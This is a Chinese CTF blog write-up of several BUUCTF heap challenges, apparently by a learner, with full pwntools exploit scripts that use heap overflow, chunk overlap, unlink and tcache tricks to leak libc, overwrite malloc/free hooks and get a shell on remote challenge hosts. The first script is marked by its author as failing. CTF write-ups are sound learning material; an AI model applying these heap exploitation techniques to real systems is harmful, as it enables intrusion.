BUUCTF堆题

buuctf heap

babyheap_0ctf_2017

现在看题目逻辑,很经典的一个菜单

漏洞利用点初看在于edit,没有限制输入,有堆溢出漏洞

没有什么后门,那么就应该是打__malloc_hook等

那么就得先泄露libc地址,这题没有uaf漏洞,所以得通过堆溢出造成堆块重叠,然后泄露libc地址

具体脚本如下:


from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p=remote('1.95.36.136',2125)
p=process('./m2')
elf=ELF('./m2')
libc=ELF('./libc.so.6')
def xu(a):
    p.sendlineafter(b'Command:',str(a))
def add(a):
    xu(1)
    p.sendlineafter(b'Size:',str(a))
def edi(a,b,c):
    xu(2)
    p.sendlineafter(b'Index: ',str(a))
    p.sendlineafter(b'Size: ',str(b))
    p.sendlineafter(b'Content: ',c)
def de(a):
    xu(3)
    p.sendlineafter(b'Index: ',str(a))
def show(a):
    xu(4)
    p.sendlineafter(b'Index: ',str(a))
add(0x68)
add(0x68)
add(0x68)
add(0x68)
pay1=b'a'*0x68+p64(0xe1)
edi(0,len(pay1),pay1)
#gdb.attach(p)
#add(0x410)
de(1)
add(0x68)
show(2)
lib=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(lib))
add(0x68)
libase=lib-0x3c4b78
one=[0x4527a,0xf03a4,0xf1247]
pay2=b'a'*0x68+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23+libase)
de(1)
edi(0,len(pay2),pay2)
add(0x68)
add(0x68)
pay3=b'\x00'*0x13+p64(one[0]+libase)
edi(5,len(pay3),pay3)
#pay1=b'a'*0x68+p64(0x71)+p64(
#pause()
add(0x10)
p.interactive()

不过这个脚本似乎不成功,根据报错信息猜测应该是栈对齐问题

嗯...怎么说呢,我不明白原因

我通过one_gadget获得到的是

image

是这三个,但就算我如何抬rsp都错了,我就去找了wp查阅,发现并没有栈对齐问题,与我上面脚本唯一的差别是,他所用的one_gadget是0x4526a

然后就一遍通了 。。。是libc版本的问题吗?

去buu里面下了一个,

image

对味了

不过不能说没有收获吧,起码对抬rsp,realloc_hook,one_gadget什么的都更熟悉了

正确exp:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

#p=process('./m2')
p=remote('node5.buuoj.cn',25785)
elf=ELF('./m2')
libc=ELF('./libc.so.6')
def xu(a):
    p.sendlineafter(b'Command:',str(a))
def add(a):
    xu(1)
    p.sendlineafter(b'Size:',str(a))
def edi(a,b,c):
    xu(2)
    p.sendlineafter(b'Index: ',str(a))
    p.sendlineafter(b'Size: ',str(b))
    p.sendlineafter(b'Content: ',c)
def de(a):
    xu(3)
    p.sendlineafter(b'Index: ',str(a))
def show(a):
    xu(4)
    p.sendlineafter(b'Index: ',str(a))
add(0x68)
add(0x68)
add(0x68)
add(0x68)
pay1=b'a'*0x68+p64(0xe1)
edi(0,len(pay1),pay1)

#add(0x410)
de(1)
add(0x68)
show(2)
lib=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(lib))
add(0x68)
libase=lib-0x3c4b78
one=[0x4526a,0xf03a4,0xf1247]
hok=libc.sym['__malloc_hook']-0x23+libase

pay2=b'a'*0x68+p64(0x71)+p64(hok)
realloc=libase+libc.sym['realloc']
de(1)
edi(0,len(pay2),pay2)
add(0x68)
add(0x68)
ont=one[0]+libase
#pay3=b'\x00'*(0x13-0x8)+p64(ont)+p64(realloc+16)
pay3 = b'a'*0x13 + p64(one[0]+libase)
edi(5,len(pay3),pay3)
#pay1=b'a'*0x68+p64(0x71)+p64(

#gdb.attach(p)
print(hex(hok))
print(hex(ont))
add(0x68)
p.sendline(b'cat flag')
#pause()
p.interactive()

[ZJCTF 2019]EasyHeap

这个是修改目标地址的值小于等于0x1305

漏洞利用点是堆溢出

靠了,给的这个看似后门函数
image

其实压根没这个目录,还是得自行getshell

这一题也没有show,泄露不了libc

尝试写入/bin/sh然后调用system,想法是unlink修改free地址为system,然后free掉提前写好的/bin/sh

想试着直接改fd为free的got表,但是并没有查找到合适的地址,

尝试unlink

unlink的检查:

检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

可以看左图绿色框中的内容,上面绿色框中的内容是second_chunk的size大小,下面绿色框中的内容是hollk5的prev_size,这两个绿色框中的数值是需要相等的(忽略P标志位)。在wiki上我记得在基础部分有讲过,如果一个块属于空闲状态,那么相邻高地址块的prev_size为前一个块的大小

检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

可以看左图蓝色框中的内容,这里是hollk5的size,hollk5的size的P标志位为0,代表着它前一个chunk(second_chunk)为空闲状态

检查3:检查前后被释放chunk的fd和bk

可以看左图红色框中的内容,这里是second_chunk的fd和bk。首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址

(原文链接:https://blog.csdn.net/qq_41202237/article/details/108481889)

终于对了,unlink太绕了,现在也是比较更为透彻的理解一点了

exp:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

#p=process('./m3')
p=remote('node5.buuoj.cn',29540)
elf=ELF('./m3')
libc=ELF('./libc-2.23.so')
def xu(a):
    p.sendlineafter(b'Your choice :',str(a))
def add(a):
    xu(1)
    p.sendlineafter(b'Size of Heap : ',str(a))
    p.sendlineafter(b'Content of heap:',b'/bin/sh')
def edi(a,b,c):
    xu(2)
    p.sendlineafter(b'Index :',str(a))
    p.sendlineafter(b'Size of Heap : ',str(b))
    p.sendlineafter(b'Content of heap : ',c)
def de(a):
    xu(3)
    p.sendlineafter(b'Index :',str(a))
fre=elf.got['free']
sys=elf.sym['system']
chunk=0x6020c8
add(0x30)
add(0x80)
add(0x80)
add(0x10)
#fd=chunk-0x18
fd=chunk
bk=chunk+0x8
pay=p64(0)+p64(0x21)+p64(fd)+p64(bk)+p64(0x20)+p64(0)+p64(0x30)+p64(0x90)
edi(0,len(pay),pay)
#gdb.attach(p)
de(1)
pay1=b'\x00'*0x18+p64(0x6020e8)+p64(fre)
edi(0,len(pay1),pay1)
pay2=p64(sys)
edi(1,len(pay2),pay2)
de(3)
#pause()
p.interactive()

0ctf_2017_babyheap

ida打开分析了一下,漏洞点在于堆溢出,然后没有uaf漏洞,那么思路很明确,首先先通过堆块重叠泄露libc,然后再打__malloc_hook从而getshell

正确exp:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p=process('./m4')
p=remote('node5.buuoj.cn',29975)
elf=ELF('./m4')
libc=ELF('./libc-2.23.so')
def xu(a):
    p.sendlineafter(b'Command:',str(a))
def add(a):
    xu(1)
    p.sendlineafter(b'Size:',str(a))
def edi(a,b,c):
    xu(2)
    p.sendlineafter(b'Index: ',str(a))
    p.sendlineafter(b'Size: ',str(b))
    p.sendlineafter(b'Content: ',c)
def de(a):
    xu(3)
    p.sendlineafter(b'Index: ',str(a))
def show(a):
    xu(4)
    p.sendlineafter(b'Index: ',str(a))
add(0x68)#0
add(0x68)#1
add(0x68)#2
add(0x68)#3
pay=b'a'*0x68+p64(0xe1)
edi(0,len(pay),pay)
de(1)
add(0x68)#1

show(2)
lib=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(lib))
lib=lib-0x3c4b78
#one=0x45216+lib
one=0xf1147+lib
mal=lib+libc.sym['__malloc_hook']-0x23
rel=+libc.sym['realloc']+lib
add(0x68)#2
de(1)
pay1=b'a'*0x68+p64(0x71)+p64(mal)
edi(0,len(pay1),pay1)
add(0x68)#1
add(0x68)#4
pay2=b'a'*0xb+p64(one)+p64(rel)
print(hex(mal))
print(hex(rel))
edi(5,len(pay2),pay2)
#gdb.attach(p)
add(0x10)
#pause()
p.interactive()

hwb_2019_mergeheap

这题的环境是ubuntu 18了,加入了tcache 机制

这一题没有edit,但相对于的出现了merge,漏洞点也在这里

主要是strcpy和strcat函数本身的特性,遇到\x00会停止

先泄露libc,这题泄露libc的点刚开始想不太明白,后来通过动调还是明白了

首先先循环申请chunk,然后循环释放,放7个chunk到tcache bin,然后再申请一个chunk,就会到unsortedbin,之后将其释放掉,再申请size=8的,内容填充8个,使得puts的时候能把后面的bk一同泄露,从而能获取到libc

之后就是通过marge函数形成任意地址写

有点不明白tcache的分配机制,当申请什么样的内存的时候会从tcache取出来或者是从top chunk取出来,是与申请内存的大小有关还是与中间是否间隔chunk有关

正确exp:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p=process('./m5')
p=remote('node5.buuoj.cn',27044)
elf=ELF('./m5')
libc=ELF('./libc-2.27.so')
def xu(a):
    p.sendlineafter(b'>>',str(a))
def add(a,b):
    xu(1)
    p.sendlineafter(b'len:',str(a))
    p.sendlineafter(b'content:',b)
def show(a):
    xu(2)
    p.sendlineafter(b'idx:',str(a))
def de(a):
    xu(3)
    p.sendlineafter(b'idx:',str(a))
def mer(a,b):
    xu(4)
    p.sendlineafter(b'idx1:',str(a))
    p.sendlineafter(b'idx2:',str(b))
for i in range(8):
    add(0x80,b'aaaa')
for i in range(1,8):
    de(i)
de(0)
add(0x8,b'aaaaaaaa')
one=[0x4f2be,0x4f2c5,0x4f322,0x10a38c]
show(0)
p.recvuntil(b'aaaaaaaa')
lib=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
lib=lib-0x3ebd20
print(hex(lib))
add(0x60,b'aaaa')#1
add(0x30,b'a'*0x30)#2
add(0x38,b'a'*0x38)#3
add(0x100,b'aaa')#4
add(0x68,b'aaaa')#5

add(0x20,b'aaa')#6
add(0x20,b'aaa')#7
add(0x20,b'aaa')#8
add(0x20,b'aaa')#9
de(5)
de(7)
de(8)
on=one[2]+lib
hok=libc.sym['__free_hook']+lib
mer(2,3)
de(6)
#gdb.attach(p)
pay=b'a'*0x28+p64(0x31)+p64(hok)+p64(0)+b'\n'
add(0x100,pay)
add(0x20,b'a')
add(0x20,b'a')
add(0x20,p64(on)+b'\n')
#pause()
de(8)
p.interactive()

详解一下,首先先是循环申请8个chunk,然后释放掉1-8,释放掉的进入tcache,如下图

image

之后free(0),让0x55e915b21250这个chunk进入unsortedbin中,然后add(0x8,b'aaaaaaaa'),申请一块差不多大小的chunk,然后填充满,这样子后面show的时候puts函数就会连带bk一同输出,从而泄露libc,

image

因为你申请的这块内存是直接从0那大块chunk中分割的,所以其有fd,bk,

image

然后覆盖掉fd并且不留\x00,从而一同输出bk

泄露libc后,进行一些列申请chunk操作,主要是为了后面造成堆块重叠

image

1是为了把之前甚于0x70大小的unsortedbin申请回去,避免干扰下面,然后2,3是利用strcpy与strcat是检测\x00停止的,4是用于提供size给与2,3合并生成chunk的size,5的话就是预留给2,3经过merge后生成的chunk,6,7,8,9则是后面利用的chunk,通过调整他们的fd,从而申请到__free_hook位置的内存

利用过程:

image

free掉5,7,8,作用如上述,heap如下

image

然后通过merge(2,3),造成如下结果(因为小小的原因,重新调试了一遍,导致上下地址不一样,但不影响)

image

可以显而易见发现,最下面的几个0x31大小的chunk被合并了一个size为111(也就是之前那个4提供的)的chunk,但是那些可用的指针却没有改变,因此可以利用

然后就de(6),6是第一个0x31的chunk,其指向0x560a9faa79e0,当free其的时候会相当于free掉这个size为110的大chunk,效果如下

image

那么接下来要做的就是先修改0x560a9faa7910位置的内容为__free_hook的地址,然后申请chunk,在申请最后一个也就是hook的地址的时候,同时通过add修改其内容为one_gadget,则getshell

image

posted @ 2025-09-05 12:20  cauit  阅读(30)  评论(0)    收藏  举报